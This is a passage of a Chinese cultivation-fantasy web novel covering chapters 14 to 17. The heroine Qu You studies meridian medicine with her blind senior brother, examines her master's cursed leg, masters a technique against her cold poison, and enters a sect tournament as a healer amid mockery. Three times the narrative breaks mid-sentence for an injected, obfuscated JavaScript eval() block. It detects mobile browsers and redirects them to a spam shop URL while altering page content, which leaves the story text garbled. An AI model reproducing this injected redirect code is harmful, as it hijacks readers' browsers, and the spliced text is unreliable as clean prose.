不是垂眸,不是假寐,是真正地,紧紧地闭合。长长的浓密的睫毛在眼下投下一小片阴影,遮住了所有可能泄露的情绪。 没有眼球转动的痕迹,没有对外界光线的任何反应,他就那样闭着眼,身姿挺拔如松,却又仿佛与周围的黑暗融为一体。 曲忧站在原地,一时竟不知该如何开口,如何动作。 “你故意念错的。”沈见微忽然开口,打破了寂静。 他依旧闭着眼,脸朝着棋盘的方向,声音平淡地陈述。 曲忧回过神来,定了定神,走到石桌旁,嘴角微微弯起一个清浅的,带着点狡黠的弧度:“是啊,不然大师兄怎么肯放我进来,见我一面?” 沈见微那颜色极淡的薄唇几不可察地动了一下,勾起一个浅浅的弧度。 14. 第 14 章 石室里的光线昏暗,但沈见微的声音却异常清晰,带着一种洞悉本质的冷静。 他捻起一枚棋子,在棋盘上轻轻一点,落在某个曲忧完全看不懂的位置,然后开始讲述。 他讲的并非《经脉论》第十三篇,而是曲忧之前读错的那处关于“阴跷脉”与“神魂损伤”的关联。 他从最基础的气血流向说起,拆解“聚”与“散”在经络中的不同含义,进而引申到神魂受创时,灵力的淤积与逸散,如何具体影响不同的感官与神志。 逻辑严谨,条理分明,将曲忧之前觉得矛盾晦涩之处,一一剖析清楚,甚至指出了原书几处隐晦的谬误。 “……故‘目不能视,神光内敛’,非单纯阴跷受损,乃‘睛明’、‘承泣’诸穴为阴浊之气所蔽,又兼‘神庭’、‘本神’受冲,内守之力过强,外放之能尽失所致。” “欲解此厄,非独疏通阴跷,更需以阳和之力,徐徐温养被蔽之窍,调和阴阳,使内守之力归于平衡,方有一线之机。” 沈见微的声音平淡无波,但曲忧却听得心头剧震,背后隐隐发凉。 他是在借讲解医理,向她暗示自己眼盲的根源吗? 曲忧屏息凝神,将每一个字都刻进心里。沈见微的讲解深入浅出,往往寥寥数语,便让她茅塞顿开,许多之前自学时囫囵吞枣,一知半解的地方,此刻豁然开朗。 这不仅仅是医道指点,更隐含着对灵力运转的深刻理解,大师兄的修为和见识,恐怕远超她之前的想象。 讲解告一段落,石室中再次陷入寂静,沈见微重新“看”向棋盘,指尖无意识地在光滑的棋子表面摩挲,不再言语。 曲忧知道,这是送客的意思。 她压下心头的震撼与无数疑问,起身,对着沈见微端坐的背影,郑重地,深深地行了一礼:“多谢大师兄指点,师妹受益匪浅。” 沈见微没有回应,只是几不可察地点了下头。 曲忧转身走向石门,就在她手指即将触到冰凉的石壁时,身后再次传来沈见微清冷的声音。 “每月十五,子时,天地阴气最盛,亦是某些阴寒之力最为活跃之时。” 曲忧脚步顿住,回身。 沈见声音平淡无波:“我教你一套心法,或可……略微疏导,缓解寒毒发作之苦。” 每月十五,子时,正是她寒毒发作最烈的时刻。 曲忧的心,像是被一只无形的手轻轻攥了一下,有些酸涩,又有些温热的暖流涌上。 大师兄不仅知道她的寒毒,甚至一直在计算着时间,观察着她的状况,并且意出手相助。 “谢谢大师兄。”她再次行礼,这一次,声音里带上了更深的感激与郑重。 门在身后合拢,隔绝了那片沉寂的黑暗,也隔绝了那个闭目独坐,仿佛承载了无尽秘密的身影。 接下来的几日,曲忧将沈见微的指点反复揣摩,结合自己记忆里的现代医学知识,对经脉、气血、乃至灵力与神魂的关联,有了更深一层的认知。 她开始尝试将这些新的理解,应用到对阿绒的妖力疏导和对叶知弦的情蛊压制上,虽然收效甚微,但方向似乎更明晰了一些。 同时,她也将目光,投向了计划表上最难啃的骨头之一,师父李玄舟的腿伤。 机会出现在一个午后,李玄舟大概是“戒酒”反应上来了,躺在藤椅里,显得比平日更加烦躁不安,脸色也有些发青。 曲忧端着一碗用宁神草药煮的,没什么味道的汤水走过去。 “师父,喝点这个,或许能舒服些。”她将碗递过去。 李玄舟瞥了一眼那清汤寡水,没好气地哼了一声,但还是接过来,皱着眉灌了下去。 喝完,他咂咂嘴,一脸嫌弃:“没滋没味,比马尿都不如。” 曲忧没接话,等他气稍微顺了些,才开口,语气自然得像是在讨论今天天气不错:“师父,您的腿能让我看看吗?” 李玄舟正准备重新躺回去的动作一顿,掀开眼皮看她,眼神里带着审视和一丝被打扰的不悦:“看什么看?一条废腿罢了,有什么好看的。” “我想看看。”曲忧坚持,目光清正地看着他,“看看是什么样的伤,能把师父这样的人困住。” 这句话说得平淡,却像一根细针,轻轻刺了李玄舟一下。 他脸上的烦躁和不悦慢慢褪去,变成一种深沉的,带着自嘲的漠然。 他看了曲忧很久,久到曲忧以为他会再次拒绝,甚至发怒。 最终,李玄舟只是长长地,无声地叹了口气。 那口气叹得极深,仿佛从肺腑最深处挤压出来,带着经年的疲惫和认命。 他没说话,只是有些费力地将自己右腿的裤管,一点点挽了起来。 曲忧蹲下身,目光落在那条腿上。 从膝盖以下,整条小腿呈现出一种不正常的枯瘦,皮肤是暗淡的青灰色,布满了蛛网般密密麻麻,深深浅浅的黑色纹路。 那些纹路并非静止,而是在缓缓诡异地蠕动着,像是有无数细小的黑色虫子潜伏在皮肉之下,不断吞噬着血肉的生机。 膝盖骨处,黑色最为浓重,几乎凝结成实质,散发着一种阴冷、死寂、充满不祥的气息。 仅仅是看着,就让人感到一阵心悸的寒意。 曲忧伸出手指,悬停在离那些黑色纹路一寸的上方,没有直接触碰。 她闭上眼,将那一缕微薄的冰灵力凝聚于指尖,小心翼翼地向那片区域探去。 灵力甫一接触,一股难以形容的阴寒,暴戾,充满毁灭与吞噬意味的力量,便顺着她的灵力反馈而来! 那力量极其霸道,仿佛有生命般,立刻就要顺着她的灵力反向侵蚀。 曲忧心头大骇,瞬间切断灵力联系,指尖传来针刺般的剧痛,一股寒气直冲心脉,让她脸色一白,闷哼一声,连退两步才站稳。 好可怕的伤! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她越说越快,思路越来越清晰:“既然是‘阵’,哪怕再小,再残缺,也必然有其结构。只要找到这个‘小阵’的结构关键,能量节点,或许就有办法削弱它,甚至找到化解的可能。” 李玄舟愣住了。 他低头,看着半蹲在自己面前,脸色还有些发白,眼神却炽热得仿佛能灼伤人的小徒弟。 这番话,完全出乎他的意料,近乎天真,却又带着奇异说服力。 多少年了,他自己都已放弃了,用酒精麻痹自己,用颓废掩盖痛苦。 所有人都告诉他,这是绝症,无解,等死吧,连他自己都信了。 可这个才入门不久,修为低微的小丫头,却指着这无解的绝症,眼睛发亮地说:让我试试。 那眼神里的光,太过纯粹,也太过熟悉。像极了很久很久以前,某个同样不知天高地厚,却总能在绝境中劈开生路的自己。 李玄舟的心,像是被什么东西狠狠撞了一下,酸涩胀痛,却又有一股被他遗忘的热流,试图冲破冰封的堤坝。 他看了曲忧很久,很久。 最终,李玄舟只是扯了扯嘴角,那是一个比哭还难看的,疲惫至极的弧度。 他伸出手,有些笨拙地,揉了揉曲忧的头发,声音沙哑:“……随你吧。” “想试,就试试。反正师父这条老命,还有这条废腿,也没什么可再失去的了。” 15. 第 15 章 日子在忙碌与学习中飞快滑过,转眼又近月圆。 这一次,曲忧做了更多准备。她反复揣摩沈见微传授的《太阴导引诀》基础篇,尽可能将体内灵力调整到最平稳的状态。 然而,当子时临近,那熟悉的,源自骨髓深处的疼痛再次传来时,曲忧才知道自己依旧低估了这“寒毒”的可怕。 上一次发作,有师父的烈酒和灵力强行介入,短暂却粗暴地打断了进程,而这一次,她要独自面对,用这刚刚学会,还远未纯熟的心法去引导,去对抗。 起初,只是细微的寒意,像初冬的霜,悄无声息地爬上四肢百骸。 随即,寒意骤然加剧,化为万千根冰冷的钢针,从五脏六腑,四肢百骸的每一个角落猛地刺出。 血液仿佛在瞬间冻结,又在下一瞬被更凛冽的寒意击碎成冰渣,在血管里横冲直撞。 她的皮肤表面迅速凝结出厚厚的,散发着森然白气的冰霜,嘴唇失去所有血色,变得青紫。 冷!无法形容的,仿佛连灵魂都要冻僵的酷寒! 曲忧闷哼一声,险些从蒲团上栽倒。她咬紧牙关,舌尖抵住上颚,强迫自己保持最后一丝清明,双手艰难地掐出《太阴导引诀》的起手势。 心法运转。 一缕微弱的,带着奇异牵引力的冰凉气息,自丹田最深处被引动,开始沿着复杂而隐秘的路径缓缓游走。 气息所过之处,那肆虐狂暴的寒意似乎被吸引,被安抚了一瞬,但随即,更加疯狂的反扑而来。 就像在汹涌的冰河上,试图用一根细丝去引导分流,细丝刚刚触及水面,便被狂暴的冰流冲得东倒西歪,甚至差点被扯断。 “呃——!”经脉传来被强行拓宽,又被冰寒反复冲刷撕裂的剧痛,曲忧喉咙里溢出破碎的痛呼,身体控制不住地剧烈颤抖,冷汗刚渗出毛孔,就被体表的极寒冻结成冰珠,挂在睫毛和发梢,让她看起来像个即将碎裂的冰雕。 太痛了!也太冷了! 意识在无边寒潮中载沉载浮,仿佛下一刻就要彻底沉沦,被冻毙在这无人知晓的月圆之夜。 不能放弃……放弃了,就真的活不过三十,放弃了,还谈什么治好师门?谈什么摆脱前世的命运? “给我……转!”曲忧在心中无声嘶吼,榨干灵台最后一点清明,将全部意志灌注到那缕微弱的心法牵引力上。 不去想痛苦,不去想寒冷,只想着一件事——运转! 一个穴窍,两个穴窍……气息在狂暴寒毒的冲击下,歪歪扭扭,时断时续,却倔强地向前推进。 每过一个关隘,都像在刀山火海中趟过一遍,痛得曲忧眼前发黑,几欲昏厥。 但每过一个关隘,那被引导的,混合了她自身灵力和部分寒毒本源的气息,便凝实壮大一分。 这是一个痛苦到极致,却也蕴含着微弱生机的过程。曲忧在用自己微弱的意志和刚刚入门的心法,与体内庞大而暴戾的阴寒之力进行着一场凶险万分的拔河。 时间在极致的痛苦中失去了意义。 不知道过了多久,那缕被引导的气息,终于艰涩无比地完成了一个最小单位的周天循环,重新回到丹田。 “嗡——!” 就在这一刹那,丹田内那原本细若游丝,几乎被寒毒淹没的冰灵力,猛地一震,爆发出湛湛冰蓝光华。 那被心法初步梳理,提纯过的阴寒之力,如同百川归海,主动汇入其中。 曲忧浑身一松,差点瘫软下去,但随即又被体内新生的,更加凝实充沛的力量感充满。 她不敢停歇,强忍着劫后余生的虚脱和依旧刺骨的寒意,催动混合了自身灵力与部分寒毒本源的冰凉气流,开始第二个周天的运转。 这一次,比第一次顺畅了何止十倍。 心法运转越发圆融,对剩余寒毒的梳理和吸纳效率大大提升,体外凝结的冰霜开始缓缓融化,青紫的唇色渐渐恢复一丝淡红。 一个周天,两个周天,三个周天…… 当东方天际泛起第一抹鱼肚白时,曲忧体内最后一丝不受控制的阴寒之力,也终于被《太阴导引诀》降服转化,汇入那已然壮大了数倍的冰蓝色气旋之中。 她缓缓睁开眼。 眸中冰蓝流光一闪而逝,清澈更胜往昔,甚至带上了几分冰雪般的凛然之意。 曲忧轻轻吐出一口浊气,气息离体,竟在空中凝成一小片白雾,久久不散。 内视己身,丹田内,原本细若游丝的气流,已然壮大成一股稳定的,自行缓缓旋转的冰蓝色气旋,精纯凝练,散发出属于炼气四层的,扎实的灵力波动。 一夜之间,从炼气一层直接升为四层! 不仅如此,曲忧还能清晰地“看”到,在气旋更深处,在被初步疏通的浩瀚的阴寒之力下方,似乎还有什么更加庞大,更加精纯,也更加隐秘的东西,被这次彻底的发泄与成功的引导,触动了一丝,微微苏醒,散发出令她心悸又无比亲切的共鸣。 这绝不是简单的“寒毒”。 曲忧缓缓握紧双手,指尖微凉,心念一动,一缕更加凝练,寒意逼人的冰蓝色灵力便跃然指尖,随着她的心意,灵活地缠绕变化。 灵力“噗”地一声轻响,化作一片边缘锋锐,晶莹剔透的六棱冰花,在她掌心缓缓旋转,映着破晓的微光,美得惊心动魄,也冷得凛冽刺骨。 成功了。 她不仅扛过了第二次更猛烈的寒毒发作,还借此机会,将部分狂暴的阴寒之力化为己用。 更重要的是,她找到了与“寒毒”共存,甚至驾驭它的可能。 曲忧盘坐在晨光与残留的寒气中,看着掌心那朵由自己力量凝聚的冰花,苍白的脸上,缓缓绽开一个清浅却无比明亮的笑容。 她轻轻吹了口气,掌心的冰花翩然碎裂,化作点点冰晶,消散在熹微的晨光里。 ———— 变化是点点滴滴汇聚而成的。 李玄舟的酒葫芦,大部分时间都锁在曲忧的小木箱里。 起初他整日暴躁,在藤椅上烙饼似的翻来覆去,对着空气骂骂咧咧,后来渐渐成了长吁短叹,眼神发直地望着天空发呆。 再后来,偶尔曲忧修炼时,他会拖着那条瘸腿,慢吞吞地挪到不远处,看上一会儿,什么也不说,看够了,又慢吞吞挪回去。 沈见微的石门,依旧厚重冰冷,但不再是从前那般彻底的,拒人于千里之外的闭合。 有时曲忧去读书,门会开着一条细细的缝。有时她读完离开,身后会传来棋子落在石桌上的轻响,不是打发时间的那种,更像是一种无言的回应。 甚至有一日,当她结束诵读,准备离开时,石门后传来淡淡一声:“今日无事,可对弈一局。” 曲忧怔住,随即心中微喜。 她棋力粗浅,沈见微让她九子,她依然被杀得片甲不留,但她下得很认真,沈见微落子如飞,几乎不假思索,却总能在她以为找到生路时,轻描淡写地封死所有可能。 整个过程,他依旧闭目,仿佛棋盘就在“眼”前。 一局终了,曲忧心悦诚服:“大师兄棋力高深,师妹远远不及。” 沈见微只是“嗯”了一声,指尖无意识地摩挲着一枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491788|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温润的白子,沉默片刻,道:“布局尚可,锐气不足,过于求稳,反失先机。明日此时,再来。” 叶知弦清醒的时间越来越长,她不再整日闭门哀泣,有时会抱着琴,坐在院中那棵枯了一半的老树下,对着山风流云,轻轻拨弄琴弦。 琴声里哀愁仍在,却少了那份癫狂的绝望,多了几分沉静的梳理。 她开始留意曲忧采回的那些草药,偶尔会指出某株采摘不当,或告知另一种更具宁神效果的野草生长在何处。 虽然依旧苍白瘦弱,眼神却清明了些许,看向曲忧时,那份深藏的感激与依赖,日益明显。 阿绒的进步最喜人,她已经能稳稳当当地,将自己的耳朵和尾巴完全收起长达小半天。 她说话越来越连贯,甚至能磕磕绊绊地给曲忧讲她从叶知弦那里听来的,关于山里小动物的片段故事。 她依旧喜欢黏着曲忧,但当曲忧忙碌时,她也能自己安安静静地玩上一会儿,或者蹲在叶知弦旁边听琴,琥珀色的大眼睛里盛满了简单的快乐。 只有简自尘没变化。 黑发红瞳的他依旧神出鬼没,时而凑到曲忧身边说些意味不明的话,时而躺在屋顶上对着流云哼着古怪的调子。 银发紫眸的他,则更加罕见,曲忧只又在月夜远远见过一次那道孤绝清冷的背影,很快便融入夜色,再无踪迹。 他像是游离在这个渐渐有了生气的“家”之外的一道影子,一道危险,神秘,却已无法被忽视的影子。 道观的屋顶,在一个晴朗的午后,被李玄舟指挥着,曲忧用新砍的木头和厚茅草重新修补了一番,虽然依旧简陋,但至少不用担心半夜漏雨淋湿阿绒的尾巴了。 袅袅的炊烟每日定时升起,混合着草药的清苦气息,竟也让这座荒山破观,有了一丝属于“人间”的,踏实的烟火气。 就在这缓慢向好的趋势中,一份烫金镶边,散发着淡淡灵压的华丽请柬,被一只羽翼华美的灵鹤衔着,精准地丢在了归藏宗的院子里,正落在李玄舟的藤椅旁。 “东域诸宗小比,十年一度,盛事再启。由天衍宗主持,诚邀东域各宗,遣门下菁英与会,以较道法,互通有无。凡位列东域之宗门,皆需遣至少一名弟子参与,否则视为自动放弃宗门资格,移出东域宗门名录。——天衍宗谕” 李玄舟捡起请柬,只扫了一眼,便嗤笑一声,随手丢在一边,重新闭上了眼,仿佛那是什么脏东西。 “东域小比?”刚采药回来的叶知弦看到请柬,苍白的脸上掠过一丝清晰的厌恶与惧色,抱着琴的手指微微收紧。 就连对弈中的沈见微,落子的动作也几不可察地顿了顿。 曲忧捡起请柬看了看。 上面的文字冠冕堂皇,但字里行间透出的,是一种不容置疑的霸道。所谓“互通有无”,不过是天衍宗展示力量,笼络或震慑中小宗门的手段。 所谓“皆需参与”,更是赤裸裸的强权——不听话,就连在东域立足的资格都没有。 历届小比,头名几乎从未旁落,皆被天衍宗内门天才包揽,那些稍有天赋的好苗子,也往往在大比中被看中,直接“邀请”入天衍宗,美其名曰“提供更好前程”,实则是赤裸裸的资源掠夺,将东域的人才一网打尽。 剩下的小宗门,只能捡些残羹冷炙,日渐凋零。 归藏宗,恐怕连“残羹冷炙”都算不上。 他们只有五个人,师父残废,大师兄闭目不见外客,二师姐身中情蛊状态不稳,三师姐是心智不全的半妖,四师兄……不提也罢。 能去的,似乎只有她。 16. 第 16 章 前世她为天衍宗付出一切,却被弃如敝履,今生她只想安稳度日,天衍宗却连这点卑微的立锥之地,都要用这种高高在上的方式施压。 一股久违的,混合着冷意与战意的情绪,在曲忧心底缓缓升起。 “师父,”曲忧放下请柬,看向藤椅上仿佛睡着的李玄舟,“这小比,我们必须参加?” 李玄舟眼都没睁,从鼻子里哼出一声:“参加个屁。咱们这破地方,早就该从名录上抹了,清净。谁爱去谁去,反正老子不去,你们也不准去,丢人现眼。” “可若不参加,归藏宗便不算东域宗门了。”曲忧平静地指出后果,“日后若再有类似‘清缴’、‘征调’之事,我们连名分都没有,恐怕更麻烦。” 原著中提过,她前世也经历过,知道后来魔族肆虐,各大宗门曾联合征调人手,无名无分的散修和小团体,处境最为艰难。 李玄舟不说话了,只是眉头皱得更紧。 他知道曲忧说得在理,但这“理”在天衍宗绝对的强权面前,脆弱得可笑。 让曲忧去?去天衍宗的地盘?他下意识地抗拒。 这小丫头身上秘密不少,资质更是扎眼,去了那种地方,无异于羊入虎口。 更何况,以归藏宗现在的状况,去了也只是沦为笑柄,平白受辱。 “师父,”曲忧走到他面前,声音不大,却字字清晰,“让我去吧。” 李玄舟猛地睁开眼,瞪着她:“你去?你去干什么?你知道那是什么地方?你知道天衍宗都是些什么人?就你这点修为,去了连给人塞牙缝都不够!” “我知道。”曲忧迎着他的目光,眼神清澈而坚定,“我知道那是天衍宗的主场,知道那里高手如云,知道我们归藏宗去了,可能会被嘲笑,可能会输得很惨。” 她顿了顿,目光扫过安静的叶知弦,扫过沈见微石屋的方向,扫过正好奇探出头来的阿绒,最后重新落回李玄舟脸上。 “但我不想让归藏宗,就这么无声无息地,因为不敢、不能,而被从东域抹去名字。” 曲忧微微挺直了脊背,那单薄的身形里,似乎有一股坚韧的力量在支撑:“得让那些人知道,东域还有归藏宗这么个地方,还有我们这几个人。哪怕只是走个过场,哪怕一轮就败,至少,我们是堂堂正正,以归藏宗弟子的身份,站在那里的。” “师父,我想让归藏宗,堂堂正正地留在东域。” 山风穿过修补好的屋檐,发出呜呜的轻响,院中一片寂静。 李玄舟看着眼前这个眼神执拗的小徒弟,胸膛剧烈起伏了几下,最终,所有激烈的情绪都化作一声长长的,沉重的叹息。 他重新闭上眼,挥了挥手,声音里充满了疲惫,也有一丝极淡的,连他自己都不愿承认的松动。 “……随你吧。想去就去。被打哭了,别回来找老子。” 这就是同意了。 三日后,曲忧独自一人,背着一个简单的小包袱下了山。 阿绒抱着她的尾巴,眼泪汪汪地送到山门口,被叶知弦轻轻拉住。李玄舟的藤椅空空荡荡,不知去了哪里。沈见微的石门紧闭。简自尘不见踪影。 曲忧先去了一趟青田镇,没有去书肆或药铺,而是径直走进一家最普通,甚至有些破旧的铁匠铺。 “老板,买把剑,最便宜的。”她说。 铁匠是个赤膊的壮汉,看了她一眼,从一堆废铁料里,扒拉出一把黑乎乎的,毫无光泽,剑身甚至有些弯曲的铁条,随手丢在沾满煤灰的砧板上:“这个,五十个铜板。开了刃的,小心别割着手。” 曲忧付了钱,拿起那把“剑”。 入手沉重冰凉,剑刃处确实有粗糙的磨砺痕迹,但也仅此而已。 没有灵光,没有符文,甚至算不上规整,就是凡间铁匠铺里,最劣质最不起眼的那种铁剑,给乡下汉子挂在墙上充门面都嫌寒碜。 曲忧抽出包袱里一块粗布,将剑仔细裹好,背在身后。 这把剑,配上她身上浆洗得发白的粗布衣裙,和她那炼气的微末修为,活脱脱一个不知哪个穷乡僻壤跑出来,妄想一步登天的野修,还是最没见识,最寒酸的那种。 这正是曲忧想要的效果。 她雇了辆驴车,摇摇晃晃,朝着天衍宗的方向行去。 一路上,她闭目养神,脑海中却清晰地浮现出原著中关于这次“东域小比”的种种描述。 白若薇,玲珑道体,入门不久,便在此次小比中大放异彩。 她容貌清丽,气质纯洁,对战时常以巧破力,以柔克刚,引得无数年轻修士倾倒,得了个“玲珑仙子”的美名,更收获了第一批忠实的拥趸。 而书中那个“曲忧”,此时已是天衍宗弟子,却因“嫉妒”师妹,在小比中多次“使绊子”,“出言讥讽”,反而衬托得白若薇更加善良大度,惹得同门不喜,师父失望,为日后的众叛亲离埋下祸根。 如今,她不是天衍宗弟子,是归藏宗曲忧。 她没有兴趣去抢什么“玲珑仙子”的风头,更没心思去跟白若薇演什么“师姐妹反目”的戏码。 她去,只是为了归藏宗能留下名字。 仅此而已。 * 天衍宗作为天下第一宗,气象果然非同凡响。 距离山门尚有百里,便能感受到空气中浓郁了数倍的灵气。及至山脚,只见仙山巍峨,连绵不绝,琼楼玉宇掩映在七彩祥云之中,灵鹤翩跹,瑞气千条。 汉白玉铺就的宽阔山道,直通云霄,道旁奇花异草吐芳,灵泉泊泊,无数修士或驾驭飞行法器,或徒步而行,皆朝着那巨大的,金光闪耀的“天衍宗”牌坊汇聚而去,人声鼎沸,热闹非凡。 与归藏宗那长满杂草,无人问津的石阶,判若云泥。 曲忧背着她的粗布包袱和那把用布裹着的破铁剑,顺着人流,一步步走上山道。 周围往来之人,大多衣着光鲜,气息不俗,像她这般寒酸又修为低微的,几乎是独一份,引来不少或好奇或鄙夷,或纯粹看热闹的目光。 曲忧恍若未觉,只平静前行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491789|202265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵达山门广场时,那里已是人山人海,各色宗门旗帜飘扬,身着不同服饰的弟子们三五成群,高声谈笑,或矜持静立。 广场中央,搭起了数座高大的擂台,符文流转,气势恢宏,高台之上,设着华美的座椅,已有天衍宗的长老和受邀观礼的贵宾落座,居高临下,俯瞰众生。 曲忧正寻着登记的地方,一个被数人簇拥着的鹅黄色身影,恰好从侧方走来,与她迎面遇上。 正是白若薇。 数月不见,她似乎出落得更加清丽动人,玲珑道体自然外显的纯净灵光,让她在人群中犹如明珠般显眼。 她穿着一身鹅黄色绣缠枝莲的裙衫,发髻精巧,饰以珍珠,眼眸清澈,笑容甜美,正与身旁几位同样衣着光鲜的天衍宗内门弟子说笑着,看起来纯真无邪,备受呵护。 她的目光随意扫过人群,然后,像是偶然地,落在了曲忧身上。 曲忧心里暗道了一声倒霉,她实在不想和原书剧情有任何粘连,更不想和这位团宠女主有什么交集,偏头侧身让出了好几步。 可白若薇的脚步突然顿了一下,她轻轻“咦”了一声,成功吸引了身边所有人的注意,然后,她微微偏头,用那双能让人心生好感的大眼睛,看向曲忧,声音软糯,带着恰到好处的好奇,清晰地问道: “这位师姐,看着有些面生,不知是哪个宗门的道友?怎么独自一人前来?” 她的语气很温柔,姿态也很谦和,仿佛真的只是关心一个落单的同道。 但她身边那几位天衍宗弟子,以及附近一些耳朵尖的修士,目光立刻齐刷刷地落在了曲忧身上,上下打量,尤其是在她寒酸的衣着和背后那不起眼的布包上停留。 曲忧知道躲不过,心里轻轻叹了口气,停下脚步,抬眼平静地看向被众星捧月的白若薇:“归藏宗,曲忧。” 她的声音不高,清晰平稳,没有任何起伏。 “归藏宗?”旁边立刻有一个天衍宗弟子嗤笑出声,声音不大不小,刚好让周围一圈人都能听见,“哪个山旮旯的?听都没听过!该不会是哪个散修自己扯的旗号吧?” “好像是东边一个快散架的小门派,就几个人,穷得叮当响。”另一人接口,语气轻蔑。 周围响起几声压抑的低笑和毫不掩饰的议论。归藏宗?确实没几个人记得,就算记得,也是当做笑话提起。 白若薇微微蹙了蹙秀气的眉,不赞同地看了一眼出声嘲笑的同门,然后转向曲忧,脸上重新绽开那无懈可击的,纯善温柔的笑容,声音更加柔和了几分: “原来是曲师姐。师姐一个人来,想必很不容易。这天衍宗地界大,比试也复杂,师姐若有什么需要帮忙的地方,尽管来找我便是。我虽入门不久,但也认得几位师兄师姐,或许能帮上点小忙。” 她这番话说得滴水不漏,既显善良大度,又暗指了曲忧的“孤苦无依”和“可能需要攀附”,将自己摆在了一个同情与施予者的高位。 曲忧看着她,目光清澈见底,仿佛能映出对方完美笑容下的优越感。 17. 第 17 章 “不必。”曲忧淡淡吐出两个字,对着白若薇几不可察地点了下头,算是回应,然后便不再停留,径直从这群光鲜亮丽的天衍宗弟子身边走过,朝着广场边缘走去。 快走快走快走!离团宠女主远一点,可别被剧情牵扯进去了。 众人看着她,她的背影挺直,步伐稳定,与周遭的喧嚣繁华格格不入,却又奇异地有种不容忽视的沉静。 白若薇站在原地,脸上的温柔笑容没有丝毫变化,依旧完美得无懈可击。 她甚至对着曲忧离去的背影,又轻轻颔首示意,仿佛真的在目送一位需要关照的“师姐”。 直到曲忧的身影没入人群,白若薇才缓缓收回目光,垂下眼帘,长长的睫毛在白皙的脸颊上投下一小片阴影。 她轻轻抚了抚袖口并不存在的褶皱,指尖几不可察地微微收紧了一下。 旁边立刻有弟子殷勤道:“白师妹你就是太善良了,那种不知所谓的小宗门弟子,也值得你费心?” “就是,看她那穷酸样,连把像样的法器都没有,也敢来参加小比?真是笑话!” 白若薇抬起眼,笑容依旧纯净,轻轻摇头:“诸位师兄莫要如此说,曲师姐她……或许有她的难处。我们修行之人,当心怀善意才是。” 众人又是一阵赞叹白师妹心地纯善,不以外物取人。 白若薇含笑听着,目光却若有似无地再次扫过曲忧消失的方向,那抹完美的笑容深处,一丝冰冷的,连她自己都未曾深究的不舒服,悄然滑过。 一个连天衍宗都拒之门外,宁可去那种破烂地方的人……凭什么,还能用那种平静的,仿佛什么都不在乎的眼神看着她? 不过,没关系。 白若薇轻轻吸了口气,将那一丝莫名的不快压回心底,指尖灵光微闪,一柄通体晶莹,流光溢彩的玉如意出现在她手中,散发着柔和却不容忽视的灵压。 很快,所有人都会知道,谁才是真正的天之骄女,谁才配站在万众瞩目的中心。 至于那个归藏宗的曲忧……就让她在角落里,好好看着吧。 另一边,曲忧终于找到了登记处。 登记处设在广场西侧,几张长桌后坐着几位身着天衍宗内门服饰的弟子,神情倨傲,公事公办地记录着各宗门参赛者的信息。 队伍排得不长,但每个人上前,都需报上宗门、姓名、修为、主修道法。 轮到曲忧时,负责登记的那位内门弟子抬眼瞥了她一下,目光在她朴素的衣着和背后那不起眼的布包上扫过,眼中闪过一丝不易察觉的轻慢。 “姓名,宗门,修为,主修何道?”他语气平平,指尖蘸了蘸墨,准备落笔。 “曲忧,归藏宗,炼气四层。”曲忧声音清晰。 “炼气四层?”登记的弟子笔下微顿,抬头又仔细看了她一眼,炼气四层在这人才济济的东域小比上确实不算高,但也不算垫底。 只是配上她这副寒酸打扮和“归藏宗”的名头,就有些耐人寻味了。他没多说什么,继续问:“主修道法?剑诀?法术?还是其他?” 曲忧沉默了一瞬。 主修?她现在主修的是沈见微教的《太阴导引诀》,辅以自行摸索的经脉调理之法,若严格来说,她更倾向于把自己定义为…… “医道。”她吐出两个字。 登记弟子的笔尖停在了半空。 旁边几个也在排队或刚刚登记完的修士,原本嘈杂的低语声,像是被一只无形的手骤然掐断。 空气安静了那么一瞬。 随即,更大的,压抑不住的嗡嗡声炸了开来。 “医道?她说什么?医修?” “我没听错吧?一个医修跑来参加东域小比?” “哈!归藏宗这是没人了,还是专门派个人来逗乐子的?医修?那是治病救人的,能打擂台吗?” “炼气四层的医修……啧,怕是给人治伤都费劲吧?也敢来掺和?” 嘲讽质疑,看笑话的眼神从四面八方射来,集中在曲忧身上,高台方向,似乎也有几道目光被这边的动静吸引,投注过来。 站在不远处,正被几位拥趸围着的白若薇,也听到了这边的喧哗,她微微侧过头,目光穿过人群缝隙,落在登记桌前那个背脊挺直的素色身影上。 她的嘴角几不可察地弯了一下,随即迅速恢复成那副纯真温柔的模样,甚至还轻轻摇了摇头,仿佛在为这位曲师姐感到一丝无奈和惋惜。 她身旁一位穿着天青色天衍宗内门服饰,面容俊朗,眼神却带着几分居高临下傲气的青年,正是之前在山门广场出言嘲讽归藏宗的那位。 此刻他嗤笑出声,声音不大,却足够清晰,带着毫不掩饰的奚落:“医修?这东域小比,什么时候成了阿猫阿狗,尤其是那些只会摆弄些花花草草,扎几根破针的所谓‘医者’也能踏足的场地了?” “也不看看自己几斤几两,炼气四层,怕是连我一剑都接不住,跑来丢人现眼,平白污了诸位同道的眼!” 这话说得极不客气,周围不少人虽然觉得有些过了,但看向曲忧的眼神也更多了几分鄙夷和看好戏的意味。 是啊,一个低阶医修,跑来比武场,不是自取其辱是什么? 曲忧在“医道”二字出口时,便预料到会有这般反应。 